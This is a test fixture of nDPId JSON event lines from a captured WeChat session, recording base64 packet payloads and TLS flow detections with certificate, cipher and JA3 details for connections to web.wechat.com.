+02348{"flow_id":79,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1436,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167866,"pkt_ts_usec":514947,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXIb+xAAC8GtBvLzZOrwKgBZwG74rhfZ2GvwEDgpIAQAHi2AgAAAQEICkWvM\/IAMq8mi6AhOArffz9dJXvub9aMTE9m7GKRKeFA\/Frtrp0XYhX6JqYW8b5etQL4tC009s8jG\/TuF8dFm+8Qnv4WGTbK3wvSPN1JnNDQWe+joFVsTCgLSjZxmTivYWk1MKykcC3vkTLWMDBQxUwZd+bVuFy+Hg8Wo2jQzS71Re20zkF2fEkUE+GnA3Ez8ZEoMIVFfuZJTLyMwnZDYqRXtmKQLIXy6PQpFijtmZoXa3RaUholNnff2hQGO8247PV9f6R3KrjtNTdvAtNV8PNXxSymO5xp1cn7ghlbtsUCsdT2arvzaytmF1NYKThZAARTMIIETzCCAzegAwIBAgIDAjpvMA0GCSqGSIb3DQEBCwUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMTMxMTA1MjEzNjUwWhcNMjIwNTIwMjEzNjUwWjBEMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEdMBsGA1UEAxMUR2VvVHJ1c3QgU1NMIENBIC0gRzMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjvn4KhqPPa209K6GXrUkkTdd3uTR5CKWeop7eRxKSPX7qGYax6E89X\/fQp3eaWx8KA7UZU9ulIZRpY51qTJEMEEe+EfpshiW3qwRoQjgJZfAU2hme+msLq2LvjafvY3AjqK+B89FuiGdT7BKkKXWKp\/JXPaKDmJfyCn3U50NuMHhiIllZuHEnRaoPZsZVP\/oyFysxj0ag+mkUfJ2fWuLrM04QprPtd2PYw5703d95mnrU7t7dmszDt6ldzBE6B7tvl6QBI0eVH6N3+liSxsfQvc+TGEK3fveeZerVO8rtrMVwof7UEJrwEgRErBpbeFBFV0xvvYDLgVwts7x2oR5lAgMBAAGjggFKMIIBRjAfBgNVHSMEGDAWgBTAephojYn7qwVkDBF9qn1luMrMTjAdBgNVHQ4EFgQU0m\/3lvSFP3I8MH0j2oV4m6N8WnwwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAQYwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2cxLnN5bWNiLmNvbS9jcmxzL2d0Z2xvYmFsLmNybDAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nMi5zeW1jYi5jb20wTAYDVR0gBEUwQzBBBgpghkgBhvhFAQc2MDMwMQYIKwYBBQUHAgEWJWh0dHA6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9jcHMwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM5MA0GCSqGSIb3DQEBCwUAA4IBAQCg1Pcs+3QLf2TxzUNqn2JTHAJ8mJCi7k9o1CAacxI+d7NQ63K87oi+fxfqd4+DYZVPhKHLMk9sIb7SaZZ9Y73cK6gf0BOEcP72NZWJ+aZ3sEbIu7cT9clgadZM\/tKO79NgwYCA4ef7i28heUrg3Kkbwbf7w0lZXLV3B0TUl\/xJAIlvBk4BcBmsLxHA4uYPL4ZLjXvDuacu9PGsFj45SVGeF0tPEDpbpaiSb\/361gsDTUdWVxnzy2v189bPsPX1oxHSIFMTNDcFLENaY9+NQNaFHlHpURceA1bJ8TCt55sRornQMYGbaLHZ6PPmlH7HrhMvh+3QJbBo+d4IWvMpzNSSFgMDAU0MAAFJAwAXQQRPE\/g5q0vKNFqOQ8jDNX+U+KzfnGvIriLht8OOkBrvm3QdAnDj0nIpXAvz+ZzT+4Dlze6VtyjPc8CUqfVrM432BgEBAATq8z4m"} +01313{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1436,"source":"wechat.pcap","alias":"nDPId-test","flow_id":79,"flow_packet_id":8,"flow_first_seen":1492167865975,"flow_last_seen":1492167866514,"flow_tot_l4_data_len":3366,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":420,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58040,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","server_names":"webpush1.wechat.com,webpush.wechat.com,login.web.wechat.com,webpush.web.wechat.com,webpush2.wechat.com,webpush.web2.wechat.com,file.web2.wechat.com,web1.wechat.com,file.web.wechat.com,loginpoll.wechat.com,web2.wechat.com,login.wechat.com,login.web2.wechat.com,res.wechat.com,web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=GeoTrust Inc., CN=GeoTrust SSL CA - G3","issuerDN":"C=HK, ST=HongKong, L=Wan Chai, O=Tencent Mobility Limited, CN=web.wechat.com","alpn":"h2,http\/1.1","fingerprint":"4F:3B:6A:87:0C:D2:34:09:C9:53:9F:6F:EE:7D:7B:9B:E9:D6:EF:C1"}} +00425{"flow_id":79,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1437,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167866,"pkt_ts_usec":514997,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0cVpAAEAGp+HAqAFny82Tq+K4AbvAQOCkX2dnQ4AQARHe4QAAAQEICgAyr2pFrzPy"} +00785{"flow_id":79,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1438,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167866,"pkt_ts_usec":515940,"pkt_caplen":326,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":326,"pkt_l4_len":292,"pkt":"eJKcD6iO8IQvSpdgCABFoAE4b+1AAC8GuKrLzZOrwKgBZwG74rhfZ2dDwEDgpIAYAHhjgwAAAQEICkWvM\/IAMq8mH8OtgucgtUA7PijryUnPiWyN1eNHGVt9PvidK0Kq\/DwczjZ+O0xK484Ewx2zKwDclwSi+Q1QCZ\/b3OVV\/O7TAMvy3oLlTYECM2iCz+kcJi62AmMoUaEN2v+6jidm2qj5Lvbz7fl35JpJTLqZaNBx+\/+2Pnig\/xR+k4OEpLf1l3KgzTw3uaUKSjTPBRH9lD8EjyPlDiZ9k9aHYiAr8AEy2zQ44UlrefG4HZ0Fo9XeZEmY\/ClVJFi8G7BInSN6S0qiTzHQ84nscFW1PATeZBPhwYYIB387B2Rff4BvPAY9b0SHHLmHmhzv9np7vfAuT6RzK834RMCbfHg\/7CMWAwMABA4AAAA="} +00426{"flow_id":79,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1439,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167866,"pkt_ts_usec":515966,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0cVtAAEAGp+DAqAFny82Tq+K4AbvAQOCkX2doR4AQASjdxgAAAQEICgAyr2pFrzPy"} +00598{"flow_id":79,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1440,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167866,"pkt_ts_usec":518754,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"8IQvSpdgeJKcD6iOCABFAACycVxAAEAGp2HAqAFny82Tq+K4AbvAQOCkX2doR4AYASgW2QAAAQEICgAyr2tFrzPyFgMDAEYQAABCQQRsOBC80u7GYj06nZEke0QYx2JsJKUCJ9\/Wp7W0Y+2Ft2zgBgNv8RYT9jRpjKM0UKVeCB8yjF2uevVVSzGYZbCDFAMDAAEBFgMDACgAAAAAAAAAAHoJFD9O9YrXBcTXxVu0uYVAFP97oR49ibSlMsQgAYLe"} +00426{"flow_id":62,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1441,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167866,"pkt_ts_usec":580273,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0XwBAAEAGujvAqAFny82Tq+K3Abv08QbKs2vgP4ARAOXMqQAAAQEICgAyr3tFrx5u"} +00497{"flow_id":79,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1442,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167866,"pkt_ts_usec":789037,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"eJKcD6iO8IQvSpdgCABFoABnb+5AAC8GuXrLzZOrwKgBZwG74rhfZ2hHwEDhIoAYAHgIaAAAAQEICkWvNDYAMq9rFAMDAAEBFgMDACg4\/FLdEKRbQJQLOtpgu7AlCKoSDK4K0CrXEiD8eE1QZcmbkSXz0Im3"} +02028{"flow_id":79,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1443,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167866,"pkt_ts_usec":790169,"pkt_caplen":1246,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1246,"pkt_l4_len":1212,"pkt":"8IQvSpdgeJKcD6iOCABFAATQcV1AAEAGo0LAqAFny82Tq+K4AbvAQOEiX2doeoAYASj68QAAAQEICgAyr69FrzQ2FwMDBJcAAAAAAAAAAc+HOmOQpaqD4yWZtqg9ZokyqmrQ48mbUPT41aGTj6LA1qbtAk+ACvBnfMfxaqmWqMNpan9iglku4KPd17MZQQ5t\/ZYnYgEmA0+\/zEcBdowl5ANKztpjIdykoDiIeUXgvNdw7+o2Ed5BxSex4bNh3EjA9m\/BNRnSKVnT9U8TSduI6dyii9G3Euak3C3oRQmloV+H1vtO8T4i7j90B7pxgtdDgsNsDmWpUW8xU+Md286I3i5J4vMHLbTsQPft1+bGM1ncYxciWDBEmQrGpZtgBpUlTQ8k7zX8JyiLheoSQ7HL7nO7ap6AuxxjUeUjWgv8s+0XkqJ+50tkkez6MgYacmDbHCbBD08hJ6LjFRJDm+VEjRFi7TCmKX4v5vE3Gqf58L7UGZZA3qp08louWytPgRiFZrSodYga4WunzPJ9MGWF9lS+NKAio0ua+ZsbJ8EOxANTFnl1IR\/QIj\/MZIzpWJFX3MP1IBHmD+hNSf4JX0jfWap2S62Neb6N95NKNbaF\/8QvzO8BRuXS5hnu9WNDPUlg2rnAAJDd8+rbd9tOjYypepwhv2RCUTioBFdooFS91MslO4\/VqSbObCDm8LQIKYbQg5m1QKbeZ9BrlVVPfaxvvstT5dKO0otcKab2xbCjDijyQ+rd16PORXNfhBfAcfr7DLHqXUlubwRxTZ4d03B8ZwKPFjqQtBlEs7O\/yI5V8QKd6312eaktCOeOlBKHONPHp3531RBBct1gt5bhCDQrWLVgn\/sWcoxqhBcfbqDFC9efFV5+y6aoS3SZA18bJ9Eu\/ab2CQrxz2yVC\/32KBG2m+WJ7VwFtFXOs94ihoQdpRMc565XNZQjHtBuLp+lBvPeBy9nm9hLvCtWJvzbWQX1kO+ECHKC0D907TYzo\/LFbggP4Pfj1qz\/F9mkLgvLn6M8hxkblLONtFenScJ5LZtSkWx7wELoHxYBic1OTYTwAeMNnnjtSeF8lO8b0as11ByINUdfSEO25KErNmOVqymb+0adIH43VsDRUQuEhPZ4FFezKNNNBPKWhHfPugG+nIy\/G\/J3QImPoODlf4+smCeC+ok4BVNvgy+lqwF83Qo8FQjssuY9pg+QeiRH9DZmHEredHqK3ELCINDXzpZ60O4aS7KVFc0tcEWpeNUxGLj5tSSb4lfqeQ2UWfzA9H\/1nWpC4F8e+FJWwuUd28GauaPL4KMeVlgVu0CHuXVi275AAs4pwNf7yj+Db\/Y5KUEmtmhQWmFS3UeLutRZJLEmEmpcEjBral7Irpo1p3yBL7Kp0ZNCNF2C0krF8O2RiA\/N61A3CHzSXiF+sb99pHy6Rgd79pE6Fzq9dIAhaaFGqLkU+nKWMTLlkmlyRDgWl0nhtUcLH5uPjqrDErr4XB7q3+0hSBD3mKWVSrJTYV+ULKUhSgEycDNv2KASVNULyBxVVr+lTwGW9ItyP9tR3U2c7WL9J8MgQ\/6lUrPUzkyQ3p\/vaQQKN8PYlWZmnuBe+d8M0xt7r9E2MYYXXf40ST5q+xQTTnpZaL4Y5SXvxUrXXkZM5SCqPU+6BZOk7SKFjP2qwg=="} +02357{"flow_id":79,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1444,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167866,"pkt_ts_usec":790333,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"8IQvSpdgeJKcD6iOCABFAAXIcV5AAEAGoknAqAFny82Tq+K4AbvAQOW+X2doeoAQASiY\/AAAAQEICgAyr69FrzQ2FwMDHOYAAAAAAAAAApwtQdHFk\/llC7c++7YkdJCOc0t9O1PTJzkmfie2JH2QFwExhiAud4jbdn+iIUqX4UgBJtIm4nAXgjoIxq5YcKHSNLcCfoBH6MW4o4q5ozJOLbF1nYcIsG0RzWeeXlp08QJCDDMNuSY5LP0ubPezQHz9173tpLe09iZYIYbVzMedX7ZHMzBedByRc+Wl5immY3yq6+1GpxGXvQhtMhWdVP6Vo8r25tRFUBbIwgqDLLm1N3eOkpaO5ngdRgHNZVo5R5FGr4KJ+wwaYsP0zXNPOXpkNQFeNe6OEDxNR9MaIxhkRf0O5dwy4UTlW3Co5fbwbrr1OySbi9aK\/mOSL\/un\/L8qg2Mq1Gntguur8Lew5mdPS0ZxNSv7PAw369QqxKVp1XwFlHPY\/5DhuUgPuXrB5A5gN1paFv8Z32r+7TmdglaBBgLQVZmHGOcaJeaNzxIxAayIeLddC2BtDsCZgBvEsmmqYhfDA+7FhqZHGiMnHk8VS6HjYwLnQ5UJD0ZQHy3ZEBMKfIEn1lumyFLE6TdMCbxK8k4ejsza65d3rD5CLQdP5TsQmIdagleey\/W3iMj1SsJpPA1FrDkeQLoayAst1agoMbweBdry7Ah5SCHq74aS3mm6b0u9b2yAgZSthtk6FVKUgcXbnqWkIZbya1s9VBXAmgJAt1B2gOhCeK0qZIxHA8dbP7kVwJOeoUws1oAt6VbfoqYqCG5xhzPKjMjo8y\/xUwQDedN3u9HJ5ke1F\/TF2hNK+yh5lp2Y+W3ba7czSXoIaeT9n+SGlQAIrJNh7htpdEKqAYfVn9SUhlkPDVN1DGXg\/AeQhK21TgMngPUeCmILSzpWWvrCGy4GvBMdhEpwwYoSvvRH1uYvctjphKe3QxwqnZOqg7gSSNpzxEoja9jT7DtG3CB94DVjlBLD1amr201L8d7JuvJlkjaQOflYzEXa4mdNNw7FzK7lkT+9NGdWN0QxQBtniFeEf5nXZvuVcHPDL+Urh5cB4US47SoOY8QcY+LvYQ35UDO7J7crjh6EEMSCRqCRY2WAkE\/M+00zlty3Jjg+wC25mS53XOcg1IJ5MEkiosA9q71MCvpc4ekplVHVIfzAjHbnFA6XmrcxgZ7Y7Gafkf8WeOccj4gGX\/xsmlmEntWyUSy\/74ytdlvSSM+xcy8nPGJTApetMdY4qxOaS70e74blhPfnsAbkk1OYdM16dLqVi\/Bi7AcLMN3Q8J8K0WmMWFuJogBGcjHkwo8WdRlO+tN+dOb5\/Ey5m0JS2+xGxEsTZ3Nv5VTuxJx48o1JZChNe1Jvm6pxdXz+Y+t\/NdnXI7TdvWHiQIEIPst+T3FdLCYnsg\/hlslaUhmMWGLZfn4homYTSEuXpVILwm5\/Hdk8qbF1iyIaZeEDlq3LLVvsXK7z7uA00QmFN1V8dhnUPh+HL7kDvAShkc4jh0rnrg3qZV5SvGJ51TKUxbbYfo5J52nkYtma2hEyLjhEn6TkHWRx72zmdfvKxyfgge7foJkasrJBUbPATsMPFNSC5hZZT9r9mzkHJE+u21rBcK11KVBymcxyG1y0Bdpwanr2STw6cV7atdEYoeJEEcKnFeSwY697aJCyinSRDT08Mn9R0aWkHICZq+Lzi\/m1uDhEchUU4BHBmzi8YMR9QiqEvp0qnSk7CtVlOfukryxw7KFf5NYgjhumpE5HpI2uD4h9UsYnwAYqqIyM7vnkKivrH+e1vDrKJUriAdmVQbh7SG9DKpDQ6MRWpThbdeqT6qDDqOwAfayI2ocv23Km4egp3azmhJFg2HtyjcV6ktl+Wg3s8rAhVPlFiDYg9\/Hw49Y9NLB8y7lOmTAXYC+A\/zacjG7V8HsbNRk9MYJbYLRcR+anrrfpsLzLjWDUuEDeax0Czb0g"} +00426{"flow_id":62,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1455,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167867,"pkt_ts_usec":396258,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0XwFAAEAGujrAqAFny82Tq+K3Abv08QbKs2vgP4ARAOXL3QAAAQEICgAysEdFrx5u"} +00438{"flow_id":80,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1456,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167867,"pkt_ts_usec":786741,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAAC8GKZTLzZOrwKgBZwG74rl6NAw+rnErxqASN8h\/HQAAAgQFoAQCCApFrzUwADKvZQEDAwc="} +00425{"flow_id":80,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1457,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167867,"pkt_ts_usec":786787,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0hOlAAEAGlFLAqAFny82Tq+K5AbuucSvGejQMP4AQAOXkuAAAAQEICgAysKhFrzPt"} +00425{"flow_id":62,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1467,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167869,"pkt_ts_usec":32245,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0XwJAAEAGujnAqAFny82Tq+K3Abv08QbKs2vgP4ARAOXKRAAAAQEICgAyseBFrx5u"} +00749{"flow_id":80,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1478,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167871,"pkt_ts_usec":50375,"pkt_caplen":304,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":304,"pkt_l4_len":270,"pkt":"8IQvSpdgeJKcD6iOCABFAAEihOpAAEAGk2PAqAFny82Tq+K5AbuucSvGejQMP4AYAOWxhwAAAQEICgAys9hFrzPtFgMBAOkBAADlAwOZa2bywhmdZUX58olJRmXCZ7SuNmlIRPbIU98uRUk9bCC9CRO8qTdKdBx1vFCAUpGqkrrbgAZaFdgU9IvXLwqN\/AAgmprMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB8amoAAP8BAAEAAAAAEwARAAAOd2ViLndlY2hhdC5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjF1UAAAAAsAAgEAAAoACgAIamoAHQAXABj6+gABAA=="} +00723{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1478,"source":"wechat.pcap","alias":"nDPId-test","flow_id":80,"flow_packet_id":6,"flow_first_seen":1492167866226,"flow_last_seen":1492167871050,"flow_tot_l4_data_len":454,"flow_min_l4_data_len":32,"flow_max_l4_data_len":270,"flow_avg_l4_data_len":75,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58041,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00427{"flow_id":80,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1483,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167871,"pkt_ts_usec":322390,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0OUxAAC8G8E\/LzZOrwKgBZwG74rl6NAw\/rnEstIAQAHjcUQAAAQEICkWvOKMAMrPY"} +02346{"flow_id":80,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1484,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167871,"pkt_ts_usec":323158,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXIOU1AAC8G6rrLzZOrwKgBZwG74rl6NAw\/rnEstIAQAHj5IwAAAQEICkWvOKQAMrPYFgMDAF0CAABZAwMHSGBwYPf7AadFMOvOUBo51DwZ7SpKe2ppZoE6um1h4CAXdM3iNMSeSRYu5rAL4uxt+WZ\/oboN6SP4aeC7pGEeFcAvAAARAAAAAP8BAAEAAAsABAMAAQIWAwMKagsACmYACmMABgowggYGMIIE7qADAgECAhAw0VtVOfZrLt7UNL9vJ0R7MA0GCSqGSIb3DQEBCwUAMEQxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMR0wGwYDVQQDExRHZW9UcnVzdCBTU0wgQ0EgLSBHMzAeFw0xNTA5MjEwMDAwMDBaFw0xODA5MjAyMzU5NTlaMG8xCzAJBgNVBAYTAkhLMREwDwYDVQQIEwhIb25nS29uZzERMA8GA1UEBxQIV2FuIENoYWkxITAfBgNVBAoUGFRlbmNlbnQgTW9iaWxpdHkgTGltaXRlZDEXMBUGA1UEAxQOd2ViLndlY2hhdC5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDOKLCU12ARBCRlKli7V796N1s9bfDDDp36hVnOckXCCtd1EICzDOMCShPpSy6mvuoSPYBr2kWWo99zbB1a21uYKdVpQmanSw53I2i\/nT9Ba10GRLm5DHrUpDUEij+mkz50Z2gx4CFdsKkRaGEZPO+as9uZ5K0vR1Ij1SUq7qYvK\/o8FWohsRDN8NCmoaUDyOkjivmoxwF9B\/OolimvW\/aejHHbaF7KhHMDTMj3pM9w5Z2Pb22IeJh85lDZOl6rH+yOl8HX0\/8DT5oJOmZoGq0Ovth7OnIKiNK8RoWM02mbl0XitpMl\/rj\/RLaSgD7DwrZYmXrRrFMnwlkx7CD4EfJfAgMBAAGjggLHMIICwzCCAT4GA1UdEQSCATUwggExghN3ZWJwdXNoMS53ZWNoYXQuY29tghJ3ZWJwdXNoLndlY2hhdC5jb22CFGxvZ2luLndlYi53ZWNoYXQuY29tghZ3ZWJwdXNoLndlYi53ZWNoYXQuY29tghN3ZWJwdXNoMi53ZWNoYXQuY29tghd3ZWJwdXNoLndlYjIud2VjaGF0LmNvbYIUZmlsZS53ZWIyLndlY2hhdC5jb22CD3dlYjEud2VjaGF0LmNvbYITZmlsZS53ZWIud2VjaGF0LmNvbYIUbG9naW5wb2xsLndlY2hhdC5jb22CD3dlYjIud2VjaGF0LmNvbYIQbG9naW4ud2VjaGF0LmNvbYIVbG9naW4ud2ViMi53ZWNoYXQuY29tgg5yZXMud2VjaGF0LmNvbYIOd2ViLndlY2hhdC5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL2duLnN5bWNiLmNvbS9nbi5jcmwwgZ0GA1UdIASBlTCBkjCBjwYGZ4EMAQICMIGEMD8GCCsGAQUFBwIBFjNodHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkvbGVnYWwwQQYIKwYBBQUHAgIwNQwzaHR0cHM6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9yZXBvc2l0b3J5L2xlZ2FsMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAfBgNVHSMEGDAWgBTSb\/eW9IU\/cjwwfSPahXibo3xafDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nbi5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9nbi5zeW1jYi5jb20vZ24uY3J0MA0GCSqGSIb3DQEBCwUAA4IBAQAZA+6JF4lvu2XJwUfeUSiNqeNdtX0tN26N"} +00780{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1484,"source":"wechat.pcap","alias":"nDPId-test","flow_id":80,"flow_packet_id":8,"flow_first_seen":1492167866226,"flow_last_seen":1492167871323,"flow_tot_l4_data_len":1946,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":243,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58041,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00425{"flow_id":80,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1485,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167871,"pkt_ts_usec":323215,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0hOtAAEAGlFDAqAFny82Tq+K5AbuucSy0ejQR04AQAPvV9QAAAQEICgAytBxFrzik"} +02703{"flow_id":80,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1486,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167871,"pkt_ts_usec":323625,"pkt_caplen":1754,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1754,"pkt_l4_len":1720,"pkt":"eJKcD6iO8IQvSpdgCABFoAbMOU5AAC8G6bXLzZOrwKgBZwG74rl6NBHTrnEstIAYAHgoRwAAAQEICkWvOKQAMrPYi6AhOArffz9dJXvub9aMTE9m7GKRKeFA\/Frtrp0XYhX6JqYW8b5etQL4tC009s8jG\/TuF8dFm+8Qnv4WGTbK3wvSPN1JnNDQWe+joFVsTCgLSjZxmTivYWk1MKykcC3vkTLWMDBQxUwZd+bVuFy+Hg8Wo2jQzS71Re20zkF2fEkUE+GnA3Ez8ZEoMIVFfuZJTLyMwnZDYqRXtmKQLIXy6PQpFijtmZoXa3RaUholNnff2hQGO8247PV9f6R3KrjtNTdvAtNV8PNXxSymO5xp1cn7ghlbtsUCsdT2arvzaytmF1NYKThZAART